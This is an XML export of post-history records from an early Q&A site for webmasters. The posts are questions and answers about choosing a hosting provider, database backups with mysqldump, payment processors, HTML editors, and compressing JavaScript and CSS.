  <row Id="267" PostHistoryTypeId="2" PostId="149" RevisionGUID="6ebe67d2-d630-4e3a-b47f-9f4f33fc115d" CreationDate="2010-07-08T20:03:12.603" UserId="66" Text="[PCI Compliance][1] is a good place to start.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pcicomplianceguide.org/" />
  <row Id="268" PostHistoryTypeId="2" PostId="150" RevisionGUID="e916ffd0-b2af-438a-9136-65629de02533" CreationDate="2010-07-08T20:03:56.953" UserId="27" Text="I can tell you that I currently use mysqldump to maintain a backup of my database.  I do this because my goal is to keep weekly backups so that in the event someone removes their webpage(s), I can recover it from at most a week ago.&#xD;&#xA;&#xD;&#xA;The good thing about this is that it is a basic text file so I can import it over to any computer with MySQL, load it up, and search around for the missing data.  Note: in order to get what I wanted, the command I'm using in my script is this:&#xD;&#xA;&#xD;&#xA;    mysqldump --databases databaseName &gt; /file/path&#xD;&#xA;&#xD;&#xA;The `--databases` is what makes mysqldump dump the `CREATE DATABASE IF NOT EXIST` headers so that I can import it anywhere I want.&#xD;&#xA;&#xD;&#xA;While this method works for me, I'm sure that there are better methods out there for other purposes.  I can also say that, as for any backup solution, you should store it at least on another computer, and preferably offsite (our in the cloud) if you can.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="269" PostHistoryTypeId="2" PostId="151" RevisionGUID="4849b8e3-01c7-436d-8534-f8a03a69d229" CreationDate="2010-07-08T20:04:57.870" UserId="80" Text="I finished my website.  It's awesome!  How should I go about selecting a hosting provider?  What features should I look for?  What &quot;got-chas&quot; should I be aware of?" />
  <row Id="270" PostHistoryTypeId="1" PostId="151" RevisionGUID="4849b8e3-01c7-436d-8534-f8a03a69d229" CreationDate="2010-07-08T20:04:57.870" UserId="80" Text="What should I consider when choosing a hosting provider?" />
  <row Id="271" PostHistoryTypeId="3" PostId="151" RevisionGUID="4849b8e3-01c7-436d-8534-f8a03a69d229" CreationDate="2010-07-08T20:04:57.870" UserId="80" Text="&lt;web-hosting&gt;" />
  <row Id="273" PostHistoryTypeId="2" PostId="152" RevisionGUID="02548b4b-edd0-4602-bf65-b397f7588b21" CreationDate="2010-07-08T20:05:28.853" UserId="101" Text="We are using [cybersource][1] for all of our payment and transaction needs. By using cybersource you don't need to store your customer's credit card information in your database and you still can let them pay with their credit cards.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cybersource.com/support_center/implementation/downloads/" />
  <row Id="275" PostHistoryTypeId="2" PostId="154" RevisionGUID="d0ea71c2-316f-4a5f-b256-54efa3a08318" CreationDate="2010-07-08T20:06:03.843" UserId="80" Text="What is the difference between shared hosting and dedicated hosting for my website?" />
  <row Id="276" PostHistoryTypeId="1" PostId="154" RevisionGUID="d0ea71c2-316f-4a5f-b256-54efa3a08318" CreationDate="2010-07-08T20:06:03.843" UserId="80" Text="Shared vs. Dedicated Hosting" />
  <row Id="277" PostHistoryTypeId="3" PostId="154" RevisionGUID="d0ea71c2-316f-4a5f-b256-54efa3a08318" CreationDate="2010-07-08T20:06:03.843" UserId="80" Text="&lt;web-hosting&gt;" />
  <row Id="278" PostHistoryTypeId="2" PostId="155" RevisionGUID="1abbbafc-1c5a-442a-b75e-ee4058be4ea9" CreationDate="2010-07-08T20:06:28.693" UserId="42" Text="I've used Dreamweaver, (albeit CS3 so I am a few versions back), but I am disappointed with the amount of invalid markup it produces.  Are there other WYSIWYG editors out there that produce valid markup?" />
  <row Id="279" PostHistoryTypeId="1" PostId="155" RevisionGUID="1abbbafc-1c5a-442a-b75e-ee4058be4ea9" CreationDate="2010-07-08T20:06:28.693" UserId="42" Text="What is a good WYSIWYG HTML Editor?" />
  <row Id="280" PostHistoryTypeId="3" PostId="155" RevisionGUID="1abbbafc-1c5a-442a-b75e-ee4058be4ea9" CreationDate="2010-07-08T20:06:28.693" UserId="42" Text="&lt;html&gt;&lt;wysiwyg&gt;" />
  <row Id="281" PostHistoryTypeId="2" PostId="156" RevisionGUID="26a5e5fb-5fb5-466a-a6a6-06646ebdb1d1" CreationDate="2010-07-08T20:07:15.773" UserId="93" Text="If you can provide your resources very quickly, then a very short KeepAlive timeout should be the way to go, or use no KeepAlive at all.&#xD;&#xA;&#xD;&#xA;KeepAlive is important when you are going to have many requests from the same client, but it gets to be a problem if you need to serve to many clients at the same time.  KeepAlive with SSL is even more important as the cost to setup a new SSL connection is very high, especially if it is only for a small amount of data.&#xD;&#xA;&#xD;&#xA;If you can serve up what you need in only 2-3 request, I'd suggest keeping it short enough to get those requests handled.  If that is still not working and other users are hanging for a long time, then you probably need to consider some load balancing and a proxy." />
  <row Id="283" PostHistoryTypeId="2" PostId="158" RevisionGUID="7dec339f-b0a2-4d97-a886-f80c05f72334" CreationDate="2010-07-08T20:08:19.533" UserId="15" Text="Shared hosting means that there are other sites on the same server you are on sharing things like bandwidth and resources. Dedicated hosting means that you are the only one on the server and all the resources belong to you. Usually dedicated hosting is more expensive, but it provides better performance if you need it." />
  <row Id="287" PostHistoryTypeId="2" PostId="160" RevisionGUID="85f7e096-d4f0-4b72-bed3-dc6bf01343a7" CreationDate="2010-07-08T20:09:54.677" UserId="91" Text="For the iPhone in particular you should consider configuring the viewport, which controlsthe scale at which your page will get rendered. This is especially useful if your site is significantly narrower than the default viewport width of 980px. You can do this with a meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name = &quot;viewport&quot; content = &quot;width = 590&quot;&gt;&#xD;&#xA;&#xD;&#xA;You can also set the scale, and a bunch of other things. You can read all the details on Apple's site:&#xD;&#xA;http://developer.apple.com/safari/library/documentation/appleapplications/reference/safariwebcontent/usingtheviewport/usingtheviewport.html&#xD;&#xA;" />
  <row Id="288" PostHistoryTypeId="2" PostId="161" RevisionGUID="c764a52c-c88d-4d92-8e89-1ce007b0ed02" CreationDate="2010-07-08T20:09:55.143" UserId="63" Text=" - Uptime - Obviously you want some one reliable. The higher the uptime the better, from 99.9% upwards. &#xD;&#xA;&#xD;&#xA; - Bandwidth - Concentrate on this. Make you have a good estimate on the load your site will handle and make sure you have enough plus some spare in the case of a surge in traffic. Last thing you want is your site taken down halfway though the billing cycle because you exceeded the bandwidth. Especially if it occurs when a lot of users are using the site. They won't be back again! &#xD;&#xA;&#xD;&#xA; - Avoid stupidly priced hosting - 1tb for $29.99! Stuff like that is a con, there is no way they have the space for every user and just assume no one will use all of it. They probably have enough for a few users and the rest take 3mb or something. While you may have all the space you'll need, I would avoid a company engaging in shady practices.&#xD;&#xA;&#xD;&#xA; - SUPPORT! - Hosting can, and probably will, go wrong. Support is vital. You need a company on the phone at all times ready to resolve your issue within hours. Sooner if possible.&#xD;&#xA;&#xD;&#xA; - And make sure it supports all the technology you need. " />
  <row Id="289" PostHistoryTypeId="2" PostId="162" RevisionGUID="f951df6e-e51a-4a36-88e6-7e36f0e58374" CreationDate="2010-07-08T20:09:59.620" UserId="72" Text="If I keep the pattern (index.php?module=test&amp;param=1) will pages be less likely to be indexed then if I use the pattern (test_param_1.html) ?" />
  <row Id="290" PostHistoryTypeId="1" PostId="162" RevisionGUID="f951df6e-e51a-4a36-88e6-7e36f0e58374" CreationDate="2010-07-08T20:09:59.620" UserId="72" Text="Is using URL Rewritting the only way to make sure all pages are cached by Google ?" />
  <row Id="291" PostHistoryTypeId="3" PostId="162" RevisionGUID="f951df6e-e51a-4a36-88e6-7e36f0e58374" CreationDate="2010-07-08T20:09:59.620" UserId="72" Text="&lt;google&gt;&lt;indexing&gt;" />
  <row Id="292" PostHistoryTypeId="2" PostId="163" RevisionGUID="32cb34d4-895c-4d77-b449-39f6f2a9304a" CreationDate="2010-07-08T20:10:22.240" UserId="82" Text="Cost and dedicated resources available.  Given a constant or fixed cost (ot compare apples to apples), it is all about the tradeoff between normal and burst traffic.  If you have a dedicated host, you have all of your resources all of the time, but no more.  If you are running in a shared environment, you may well be able to take advantage of more resources than you would have available on a dedicated host.  " />
  <row Id="293" PostHistoryTypeId="2" PostId="164" RevisionGUID="2646558f-59c2-4466-b2c4-c7c87b5507e7" CreationDate="2010-07-08T20:10:47.497" UserId="15" Text="Starting before design, before coding anything. What steps need to be taken to fully implement a working website?" />
  <row Id="294" PostHistoryTypeId="1" PostId="164" RevisionGUID="2646558f-59c2-4466-b2c4-c7c87b5507e7" CreationDate="2010-07-08T20:10:47.497" UserId="15" Text="What are the steps for starting a website from scratch?" />
  <row Id="295" PostHistoryTypeId="3" PostId="164" RevisionGUID="2646558f-59c2-4466-b2c4-c7c87b5507e7" CreationDate="2010-07-08T20:10:47.497" UserId="15" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;design&gt;&lt;construction&gt;" />
  <row Id="296" PostHistoryTypeId="2" PostId="165" RevisionGUID="ad32d461-f970-477a-9b2f-1b06a6051701" CreationDate="2010-07-08T20:12:03.470" UserId="57" Text="If you want control over your code use the code view in Dreamweaver or just a plain text editor like Notepad++ on Windows, Textmate on Mac or Vim on *nix. The problem with WYSIWYG is that you don't have full control over the code you produce, allthough you are free too clean up afterwards offcourse." />
  <row Id="297" PostHistoryTypeId="2" PostId="166" RevisionGUID="5b6d341f-dc67-47e4-98ce-f83f4253634c" CreationDate="2010-07-08T20:12:28.913" UserId="96" Text="I agree with @D4V360, there is indeed pleasure in writing something anew. Also, consider the concept of &quot;Technical Debt&quot; that Jeff and Joel have spoken about in their podcasts. Here are some pertinent links on the subject:&#xD;&#xA;&#xD;&#xA; - [Steve McConnell][1] (author of the great book &quot;Code Compete&quot;) on Technical Debt&#xD;&#xA; - The aforementioned and our very own [Jeff Atwood][2] on Technical Debt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.construx.com/blogs/stevemcc/archive/2007/11/01/technical-debt-2.aspx&#xD;&#xA;  [2]: http://www.codinghorror.com/blog/2009/02/paying-down-your-technical-debt.html" />
  <row Id="298" PostHistoryTypeId="2" PostId="167" RevisionGUID="66dabbce-50f4-414f-bdf8-a74ac51346ec" CreationDate="2010-07-08T20:12:46.790" UserId="80" Text="You've just inherited the webmaster position but know little about the day-to-day operation of a website.  What books or online resources should you look at to learn more about being a webmaster?" />
  <row Id="299" PostHistoryTypeId="1" PostId="167" RevisionGUID="66dabbce-50f4-414f-bdf8-a74ac51346ec" CreationDate="2010-07-08T20:12:46.790" UserId="80" Text="What are some great resources or books for learning about running a website?" />
  <row Id="300" PostHistoryTypeId="3" PostId="167" RevisionGUID="66dabbce-50f4-414f-bdf8-a74ac51346ec" CreationDate="2010-07-08T20:12:46.790" UserId="80" Text="&lt;learning&gt;&lt;education&gt;&lt;books&gt;&lt;skills&gt;" />
  <row Id="301" PostHistoryTypeId="2" PostId="168" RevisionGUID="b8831597-8ae5-48aa-aa8c-e56e04943db8" CreationDate="2010-07-08T20:12:48.147" UserId="61" Text="First off make sure they host the OS you want as well as the languages you want, ie some windows servers will not run php.&#xD;&#xA;&#xD;&#xA;Make sure a databases is included or how much extra it will be.&#xD;&#xA;&#xD;&#xA;Bandwidth, and diskspace are important well.&#xD;&#xA;&#xD;&#xA;Beware of shared hosting such as godaddy. The price is seductive but the overloaded serves make your site run extremely slow. Also compared to a dedicated server you are very limited." />
  <row Id="302" PostHistoryTypeId="2" PostId="169" RevisionGUID="118bb5f0-37dc-48c2-a818-cf3db058d3ce" CreationDate="2010-07-08T20:13:27.303" UserId="92" Text="[Clicky][1] sets itself apart from Google Analytics in some very intriguing ways.&#xD;&#xA;&#xD;&#xA; - Real-time analytics: Site getting hammered? Google is no help in finding the source with data taking a day to show up. Clicky can show you very quickly where all the traffic is coming from.&#xD;&#xA; - Easy to use: Google Analytics is pretty easy to see basic data, but Clicky is even easier to derive value from the data.&#xD;&#xA; - Mobile version: They have an iPhone-optimized version of their site and another for any other mobile device.&#xD;&#xA; - Social: See twitter and bit.ly sources.&#xD;&#xA; - Ajax &amp; flash tracking: A bit more work, but you can track any event through their API.&#xD;&#xA;&#xD;&#xA;These are just a few highlights - it is a very nice tool! It's only free for a single site, but very affordable for to add more.&#xD;&#xA;&#xD;&#xA;  [1]: http://getclicky.com/" />
  <row Id="303" PostHistoryTypeId="2" PostId="170" RevisionGUID="4cb5b4c2-5e68-4479-8e86-fb6ec11323ac" CreationDate="2010-07-08T20:14:28.347" UserId="43" Text=" 1. Register a domain name&#xD;&#xA; 2. Arrange for hosting&#xD;&#xA; 3. Prepare the web server, if necessary&#xD;&#xA; 4. ????&#xD;&#xA; 5. Profit&#xD;&#xA;&#xD;&#xA;" />
  <row Id="304" PostHistoryTypeId="2" PostId="171" RevisionGUID="8b3602e8-217c-4cca-822c-89622a4e14e3" CreationDate="2010-07-08T20:14:54.587" UserId="15" Text="I know that there are ways to [dynamically load it into the page][1], but if I want to compress my code so it loads even faster, how do I do it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8/whats-the-best-way-to-load-javascript-into-a-page-to-optimize-performance" />
  <row Id="305" PostHistoryTypeId="1" PostId="171" RevisionGUID="8b3602e8-217c-4cca-822c-89622a4e14e3" CreationDate="2010-07-08T20:14:54.587" UserId="15" Text="How do I compress my JavaScript and/or CSS?" />
  <row Id="306" PostHistoryTypeId="3" PostId="171" RevisionGUID="8b3602e8-217c-4cca-822c-89622a4e14e3" CreationDate="2010-07-08T20:14:54.587" UserId="15" Text="&lt;optimization&gt;&lt;css&gt;&lt;javascript&gt;&lt;compression&gt;" />
  <row Id="307" PostHistoryTypeId="2" PostId="172" RevisionGUID="75dd6d6e-8148-4181-9726-ee80e980a618" CreationDate="2010-07-08T20:15:39.500" UserId="43" Text="Security should be at least a minor concern.  I have a hosting account with Bluehost, and their nonchalant response to the recent security breach is disconcerting, to say the lease." />
  <row Id="308" PostHistoryTypeId="2" PostId="173" RevisionGUID="eab3b4f8-bbb6-4878-98e8-163e6f49e098" CreationDate="2010-07-08T20:16:26.377" UserId="27" Text="I highly recommend [Google Closure Compiler][1] for compressing JavaScript code.  I use it personally, and it is also the official compressor used by the jQuery project.&#xD;&#xA;&#xD;&#xA;This project can do quite a lot, but the basics are this:&#xD;&#xA;&#xD;&#xA;    java -jar closure.jar -js javascriptFile.js &gt; javascriptFile.min.js&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/closure/" />
  <row Id="310" PostHistoryTypeId="2" PostId="175" RevisionGUID="2d0d5b2e-8e1a-41b4-8e85-28237462f4ab" CreationDate="2010-07-08T20:16:55.503" UserId="43" Text="[Minify][1] seems to be the standard.  [Here][2] is a blog post with an explanation of how to use it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/minify/&#xD;&#xA;  [2]: http://mrclay.org/index.php/2008/09/19/minify-21-on-mrclayorg/" />
  <row Id="311" PostHistoryTypeId="2" PostId="176" RevisionGUID="efc1ec46-6274-4dd4-9e19-fe5b3a807c3f" CreationDate="2010-07-08T20:17:09.730" UserId="96" Text="[Coda][1] from the guys at Panic is a really nice Mac product.  You write the markup yourself and therefore retain complete control as you would with TextMate, Notepad2, etc.  But there is also a live preview you can see in a split screen so you can tell immediately what affect you are having on the page.  It's a nice &quot;best of both worlds&quot; solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.panic.com/coda/" />
  <row Id="312" PostHistoryTypeId="2" PostId="177" RevisionGUID="cc305bac-fdfc-4996-87cf-2c93472d5f05" CreationDate="2010-07-08T20:17:15.500" UserId="23" Text="I use Notepad++ (and in style: Vibrant Ink). Not a WYSIWYG editor through." />
  <row Id="313" PostHistoryTypeId="2" PostId="178" RevisionGUID="80619a17-ec6c-4c61-a9fa-c30fe2e29464" CreationDate="2010-07-08T20:17:20.353" UserId="19" Text="I use Justin Etheredge's [SquishIt][1] project. It is awesome! For asp.net only however.&#xD;&#xA;&#xD;&#xA; - It uses YUI for CSS and Javascript compression.&#xD;&#xA; - It supports LESS&#xD;&#xA; - I believe it supports Google Closure&#xD;&#xA; - It is ridiculously easy to use.&#xD;&#xA;&#xD;&#xA;Read the [intro to squishit blog post][2].&#xD;&#xA;&#xD;&#xA;Here's some sample code that will render a single `&lt;script&gt;` tag and a single `&lt;link&gt;` tag. Both of which will point to a combined and minified JS/CSS file.&#xD;&#xA;&#xD;&#xA;    &lt;%= Bundle.JavaScript()&#xD;&#xA;        .Add(&quot;~/js/jquery-1.4.2.js&quot;)&#xD;&#xA;        .Add(&quot;~/js/jquery-ui-1.8.1.js&quot;)&#xD;&#xA;        .Render(&quot;~/js/combined_#.js&quot;)&#xD;&#xA;    %&gt;&#xD;&#xA;&#xD;&#xA;    &lt;%= Bundle.Css()&#xD;&#xA;        .Add(&quot;~/css/reset.css&quot;)&#xD;&#xA;        .Add(&quot;~/css/text.css&quot;)&#xD;&#xA;        .Add(&quot;~/css/960.css&quot;)&#xD;&#xA;        .Render(&quot;~/css/combined_#.css&quot;)&#xD;&#xA;    %&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/jetheredge/SquishIt&#xD;&#xA;  [2]: http://www.codethinked.com/post/2010/05/26/SquishIt-The-Friendly-ASPNET-JavaScript-and-CSS-Squisher.aspx#continue" />
  <row Id="314" PostHistoryTypeId="2" PostId="179" RevisionGUID="05116918-1189-469d-900b-aaf7fea61a74" CreationDate="2010-07-08T20:18:39.693" UserId="57" Text="Add all your javascript to a single file and compress it with for example jsmin(http://www.crockford.com/javascript/jsmin.html). Do this as well for your CSS but use another compression technique (removing whitespace). Since this is a boring repeating task there are scripts available that will do just this for you. I use Django and use django-assets to fully automate this process." />
  <row Id="315" PostHistoryTypeId="2" PostId="180" RevisionGUID="044d91f9-6e2f-4b89-af83-cadea5d09c76" CreationDate="2010-07-08T20:19:02.033" UserId="23" Text="Use [gzip][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/function.ob-gzhandler.php" />
  <row Id="316" PostHistoryTypeId="2" PostId="181" RevisionGUID="5bc7c841-a0ef-4cd4-be71-3859d4cdbfd2" CreationDate="2010-07-08T20:19:33.157" UserId="43" Text="You might want to check out Yahoo's [Smush.it][1].  I've found it to work very well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smushit.com/ysmush.it/" />
  <row Id="317" PostHistoryTypeId="2" PostId="182" RevisionGUID="ea180843-c2bc-40bd-b4da-4cb9938e8dce" CreationDate="2010-07-08T20:19:44.323" UserId="15" Text="Who are some of the big names out there (besides [Jeff Atwood][1]/[@codinghorror][2], of course) that I should be following as a resource if I want to stay on top of what's new as well commentary on what exists?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codinghorror.com&#xD;&#xA;  [2]: http://twitter.com/codinghorror" />
  <row Id="318" PostHistoryTypeId="1" PostId="182" RevisionGUID="ea180843-c2bc-40bd-b4da-4cb9938e8dce" CreationDate="2010-07-08T20:19:44.323" UserId="15" Text="What are some good blogs/twitter accounts to follow if I want to learn more about web development?" />
  <row Id="319" PostHistoryTypeId="3" PostId="182" RevisionGUID="ea180843-c2bc-40bd-b4da-4cb9938e8dce" CreationDate="2010-07-08T20:19:44.323" UserId="15" Text="&lt;learning&gt;&lt;blog&gt;&lt;twitter&gt;&lt;resources&gt;&lt;rss&gt;" />
  <row Id="322" PostHistoryTypeId="2" PostId="184" RevisionGUID="48704a17-ea06-455a-ab6c-c16cff03ec1c" CreationDate="2010-07-08T20:21:26.410" UserId="57" Text="http://news.ycombinator.com/ (Hacker News) is my all-time favorite. " />
  <row Id="323" PostHistoryTypeId="2" PostId="185" RevisionGUID="5009ba92-ab20-41c9-b533-ae3c0bcd0a6e" CreationDate="2010-07-08T20:22:13.727" UserId="96" Text="I've used [Authorize.Net][1] on many e-commerce projects and have never been anything less than thrilled with their service and security. Actually, their security is so good that it can be a little annoying at times. But I suppose that's a good problem to have.&#xD;&#xA;&#xD;&#xA;They have a ton of options, from a real easy &quot;transfer control from your site to ours&quot; for credit card processing to a completely customizable &quot;roll your own&quot; service with a rich (and slightly complex) API.&#xD;&#xA;&#xD;&#xA;The back-end processing is full featured as well, letting you (or the business owner) have complete control over settling transactions, issuing credits, and so on.  &#xD;&#xA;&#xD;&#xA;It's real nice.  &#xD;&#xA;&#xD;&#xA;  [1]: http://www.authorize.net/" />
  <row Id="324" PostHistoryTypeId="2" PostId="186" RevisionGUID="9883e61e-b4c9-4089-9db5-3a3448c8c85a" CreationDate="2010-07-08T20:22:31.650" UserId="108" Text="I do not believe Google says.  It used to be true that test_param_1.html was better than index.php?module=test&amp;param=1 but I do not believe that is the case anymore for Google.&#xD;&#xA;&#xD;&#xA;However, if your 2 examples pages are very similar in content then you will want to use a rel canonical on them so Google knows which one is the master.  Otherwise your pagerank will be split between the 2." />
  <row Id="325" PostHistoryTypeId="2" PostId="187" RevisionGUID="936fd659-5baf-45e0-bdd5-8c23cb919744" CreationDate="2010-07-08T20:22:54.193" UserId="72" Text="If you want to compress the size of your Javascript files, you can use [packer][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dean.edwards.name/packer/" />
  <row Id="326" PostHistoryTypeId="2" PostId="188" RevisionGUID="b7a615fb-9b9c-4f65-af38-f76024f7cafc" CreationDate="2010-07-08T20:23:43.427" UserId="109" Text="Is compacting CSS / Removing unused rules for a specific page worthwhile in terms of bandwidth or can we rely on caching (headers/last-modified) to remove this overhead in the wild?&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;Also, good luck with the beta everyone!" />
  <row Id="327" PostHistoryTypeId="1" PostId="188" RevisionGUID="b7a615fb-9b9c-4f65-af38-f76024f7cafc" CreationDate="2010-07-08T20:23:43.427" UserId="109" Text="CSS reduction for faster loading / less bandwidth" />
  <row Id="328" PostHistoryTypeId="3" PostId="188" RevisionGUID="b7a615fb-9b9c-4f65-af38-f76024f7cafc" CreationDate="2010-07-08T20:23:43.427" UserId="109" Text="&lt;css&gt;&lt;bandwidth&gt;" />
  <row Id="329" PostHistoryTypeId="2" PostId="189" RevisionGUID="14a272a2-041d-4e1e-8bdc-c70fd3b8c740" CreationDate="2010-07-08T20:25:39.413" UserId="109" Text="I find some good stuff on [friendlybit][1], also checkout [The stackoverflow blog and podcasts][2] for more general discussion and advanced topics.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://friendlybit.com/&#xD;&#xA;  [2]: http://blog.stackoverflow.com/" />
  <row Id="330" PostHistoryTypeId="2" PostId="190" RevisionGUID="9ad00302-cd8b-4995-9cb9-1994b6e0db9c" CreationDate="2010-07-08T20:25:49.053" UserId="15" Text="Any time you can remove stuff you will improve the speed of loading, if only negligibly. Also, it's good practice to remove stuff you aren't using for code clarity as well. " />
  <row Id="331" PostHistoryTypeId="2" PostId="191" RevisionGUID="870488da-286f-43c5-8bc1-0b537b006252" CreationDate="2010-07-08T20:26:06.947" UserId="43" Text="I would suspect it depends on the dynamics of your site.  If you have many repeat visitors and not many new visitors, caching is probably enough.  If, however, you have lots of new visitors (and especially if you want to make a good first impression), I think you should reduce the size of your CSS as much as possible." />
  <row Id="332" PostHistoryTypeId="2" PostId="192" RevisionGUID="ab0e972d-0125-466c-8442-d089677222f1" CreationDate="2010-07-08T20:26:11.860" UserId="19" Text="I don't think it's an either or. Reducing file size will help the user the first time they access the file. Caching will help on their second visit." />
  <row Id="333" PostHistoryTypeId="2" PostId="193" RevisionGUID="28ab0ff3-2217-4c49-afda-cc8fa1ffe2b0" CreationDate="2010-07-08T20:26:25.493" UserId="96" Text="(*This is [my answer][1] to a similar question over on webapps.stackexchange.com*)&#xD;&#xA;&#xD;&#xA;The **Canvas** and **Web Worker Threads** are the most exciting aspects of HTML5 to me. I have written some web apps that make use of those features:&#xD;&#xA;&#xD;&#xA;[GioAUTHor][2] [sic] makes extensive use of the canvas to let you plot paths on a map and then find the shortest route from the start to the finish (via Dijkstra's algorithm in JavaScript).&#xD;&#xA;&#xD;&#xA;[JavaScript Thread Demo][3] makes limited use of the canvas but shows the use of Worker Threads, complete with demo code. It also makes use of the HTML5 *input type=&quot;range&quot;* slider control.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;HTML5 Browser support is as varied as the browsers themselves. There's a [nice site][4] (in HTML5, natch) about [HTML5 readiness][5] that shows who's ready for what.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webapps.stackexchange.com/questions/380/&#xD;&#xA;  [2]: http://www.labouseur.com/projects/gio/authormappaths.html&#xD;&#xA;  [3]: http://www.labouseur.com/projects/jsThreadDemo/index.html&#xD;&#xA;  [4]: http://html5readiness.com/&#xD;&#xA;  [5]: http://html5readiness.com/" />
  <row Id="334" PostHistoryTypeId="2" PostId="194" RevisionGUID="148bc914-62a2-494a-9d84-7f2da68eaa20" CreationDate="2010-07-08T20:27:47.660" UserId="109" Text="ReCaptcha is all the rage at the moment,&#xD;&#xA;&#xD;&#xA;Based on customer/user feedback, what other captcha or general human verification tools have you used for your website?&#xD;&#xA;&#xD;&#xA;Links to the API/Site appriciated,&#xD;&#xA;&#xD;&#xA;Thanks guys!" />
  <row Id="335" PostHistoryTypeId="1" PostId="194" RevisionGUID="148bc914-62a2-494a-9d84-7f2da68eaa20" CreationDate="2010-07-08T20:27:47.660" UserId="109" Text="Effective captcha solutions" />
  <row Id="336" PostHistoryTypeId="3" PostId="194" RevisionGUID="148bc914-62a2-494a-9d84-7f2da68eaa20" CreationDate="2010-07-08T20:27:47.660" UserId="109" Text="&lt;validation&gt;&lt;captcha&gt;" />
  <row Id="337" PostHistoryTypeId="2" PostId="195" RevisionGUID="1c331232-7e31-4d2a-a5ca-650d340b2bfd" CreationDate="2010-07-08T20:28:04.897" UserId="15" Text="Online resources&#xD;&#xA;&#xD;&#xA;- This site, obviously&#xD;&#xA;- [Stackoverflow.com][1]&#xD;&#xA;- [w3schools][2]&#xD;&#xA;&#xD;&#xA;Books&#xD;&#xA;&#xD;&#xA;- Read [Code Complete][3] (for general coding knowledge, not specific to web dev)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com&#xD;&#xA;  [2]: http://www.w3schools.com/&#xD;&#xA;  [3]: http://cc2e.com/" />
  <row Id="338" PostHistoryTypeId="2" PostId="196" RevisionGUID="2a23c450-4339-4ac4-9be1-c14c1cc96975" CreationDate="2010-07-08T20:28:04.977" UserId="108" Text="Google has another tool within Google Webmaster tools.  Go to your site within Webmaster Tools, click on Labs, and then Site Performance.  This will show you what Google believes to be your sites overall performance and average load time.  It will also list suggestions on what pages are slowing you down.  The tool is relatively new and as such isn't great.&#xD;&#xA;&#xD;&#xA;Microsoft provides a tool within the SEO Toolkit that is now included in IIS7.  When you do a Website Analysis of your site it will tell you how long it took to load each page. " />
  <row Id="339" PostHistoryTypeId="2" PostId="197" RevisionGUID="b2e13677-1647-4c96-9306-bc94dd693de2" CreationDate="2010-07-08T20:28:14.040" UserId="80" Text=" 1. **Set Goals** - What is the purpose of the website?  What will it try to accomplish?  How will it contribute to your cause, bottom line, ego?&#xD;&#xA;&#xD;&#xA; 2. **Site Outline** - What content will go on your site?  How will it be organized?  What will it do?  Determine the major sections of the website and break your content down by which section it will be placed in.&#xD;&#xA;&#xD;&#xA; 3. **Wireframe/Mockups** - Create a basic framework for the visual display of the site.  Determine approximate placement for content, calls to action, interactive elements, video, etc.  This can be done on paper of using a mockup tool such as [Mockingbird][1].&#xD;&#xA;&#xD;&#xA; 4. **Design** - Using the wireframe/mockup as a guide, create the actual design of the website.  This would be the actual graphic elements that make up the look and feel of the site.&#xD;&#xA;&#xD;&#xA; 5. **Integration/Coding** - Using the designed graphic elements and other content that has been developed, code out the individual pages in HTML/CSS and other presentation technology (such as Flash) as needed.&#xD;&#xA;&#xD;&#xA; 6. **Test and Revise** - Once all of the pieces are brought together, test the website to ensure it works properly in modern web browsers, passes any technical tests required (such as HTML/CSS validation if required).  Revise as needed.&#xD;&#xA;&#xD;&#xA; 7. **Launch!** - Once the site is ready, select a hosting provider and put the site online.  If you will be using your own domain name, I recommend selecting a variety of possible domain names and registering the ones you may want to use.  At launch use the one you like the best and redirect the others to the main site (assuming you purchased more than one).&#xD;&#xA;&#xD;&#xA;  [1]: http://gomockingbird.com/" />
  <row Id="340" PostHistoryTypeId="2" PostId="198" RevisionGUID="910b897c-0975-4b6c-990e-70597c8c12d1" CreationDate="2010-07-08T20:28:51.557" UserId="110" Text="I am used to finding the source code for the sites I set up (like blogs or CMS's) and I have used the Web Platform Installer to try out new packages and setup my development machine, but I haven't bothered to deploy any of those.&#xD;&#xA;&#xD;&#xA;Are there any gotchas with that tool?" />
  <row Id="341" PostHistoryTypeId="1" PostId="198" RevisionGUID="910b897c-0975-4b6c-990e-70597c8c12d1" CreationDate="2010-07-08T20:28:51.557" UserId="110" Text="Should I use the Microsoft Web Platform Installer, or download the source directly and install" />
  <row Id="342" PostHistoryTypeId="3" PostId="198" RevisionGUID="910b897c-0975-4b6c-990e-70597c8c12d1" CreationDate="2010-07-08T20:28:51.557" UserId="110" Text="&lt;site-deployment&gt;&lt;web-platform-installer&gt;" />
  <row Id="343" PostHistoryTypeId="2" PostId="199" RevisionGUID="091bbae5-8ce3-4abd-8dec-1086bad1fa1d" CreationDate="2010-07-08T20:30:55.187" UserId="63" Text="There are a lot of different, competing, technologies to build a site with. From the front end of the site and client side technologies to databases. &#xD;&#xA;&#xD;&#xA;How do I choose a technology stack, what factors should I consider, and how do I avoid getting key technical decisions wrong from the outset? " />
  <row Id="344" PostHistoryTypeId="1" PostId="199" RevisionGUID="091bbae5-8ce3-4abd-8dec-1086bad1fa1d" CreationDate="2010-07-08T20:30:55.187" UserId="63" Text="How do I Choose a Technology Stack For My Site? " />
